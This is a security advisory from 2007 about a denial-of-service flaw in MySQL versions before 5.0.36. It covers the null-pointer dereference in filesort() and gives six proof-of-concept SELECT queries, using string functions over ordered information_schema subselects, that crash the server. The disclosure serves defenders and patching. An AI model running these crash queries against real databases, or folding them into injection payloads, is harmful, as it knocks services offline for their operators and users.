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MySQL 5.0 Denial Of Service Vulnerability

SEC-CONSULT Security Advisory < 20070309-0>
title: MySQL 5 Single Row Subselect Denial of Service
program: MySQL 5
vulnerable version: < 5.0.36
impact: moderate
homepage: http://www.mysql.com
found: 2007-02-10
by: S.Streichsbier / SEC-CONSULT / www.sec-consult.com
B.Mueller / SEC-CONSULT / www.sec-consult.com
permanent link: http://www.sec-consult.com/284.html

Vendor description:

MySQL, the most popular Open Source SQL database management system, is developed, distributed, and supported by MySQL AB. MySQL AB is a commercial company, founded by the MySQL developers. It is a second generation Open Source company that unites Open Source values and methodology with a successful business model.
[Source: http://www.mysql.com]
Vulnerability overview:

In order to exploit this vulnerability the attacker needs to execute select statements on the database (e.g. SQL Injection).

Starting with version 5, MySQL provides access to the database metadata. When using functions that operate on strings in combination with subselects on information_schema tables and additional sorting of the results with the ORDER BY clause, a null-pointer dereferencation takes place causing a segmentation fault.

This allows an attacker to crash the MySQL database. We have not found any code execution vector resulting from this bug, though further research into this and related bugs may provide interesting results.

Vulnerability details:

When a subselect in a string function is used, Item_singlerow_subselect::val_str() is called. As it is not expected that the result of a single row subselect will be sorted, certain fields (specifically sort->io_cache) in the allocated struct st_table are not initalized. Yet, when "ORDER BY" is used in the query, filesort() is run on the table. The actual segfault occurs in an error handling routine in filesort():


111 FILESORT_INFO table_sort;
117 memcpy(&table_sort, &table->sort, sizeof(FILESORT_INFO));
120 outfile= table_sort.io_cache;
269 err:
276 if (my_b_inited(outfile))


503 #define my_b_inited(info) (info)->buffer

This leads to a null pointer dereference (EAX+8 or EBX+8 = 0x00000008 in our test installations) crashing mysqld.

proof of concept:

Any string function can be used to exploit this vulnerability.

SELECT ASCII((SELECT table_name FROM information_schema.columns ORDER BY 1));
SELECT TRIM(LEADING FROM (SELECT table_name FROM information_schema.columns ORDER BY 1));
SELECT SUBSTR((SELECT table_name FROM information_schema.tables ORDER BY 1),1,1);
SELECT UPPER((SELECT table_name FROM information_schema.tables ORDER BY 1));
SELECT RTRIM((SELECT table_name FROM information_schema.tables ORDER BY 1));
SELECT RPAD((SELECT table_name FROM information_schema.tables ORDER BY 1),1,'lol');

vulnerable versions:

All versions since the introduction of INFORMATION_SCHEMA tables seem to be vulnerable to the Denial of Service attack. The version 5.0.36 fixes this security issue.

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